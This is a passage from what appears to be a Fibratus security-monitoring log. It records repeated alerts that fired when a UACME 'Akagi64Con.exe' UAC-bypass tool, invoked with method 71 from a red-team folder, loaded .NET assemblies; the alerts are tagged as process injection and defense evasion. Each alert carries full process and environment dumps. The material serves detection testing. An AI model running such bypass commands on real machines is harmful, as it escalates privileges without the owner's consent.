+0100 CET + Params: base_address➜ 7ffcbbaf0000, checksum➜ 0, default_address➜ 7ffcbbaf0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11015261 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.4044304 +0100 CET + Params: base_address➜ 7ffcd6800000, checksum➜ 0, default_address➜ 7ffcd6800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe, image_size➜ 24576, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11015261 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.4044304 +0100 CET + Params: base_address➜ 7ffcd6800000, checksum➜ 0, default_address➜ 7ffcd6800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe, image_size➜ 24576, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, tactic.name: Defense Evasion, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program 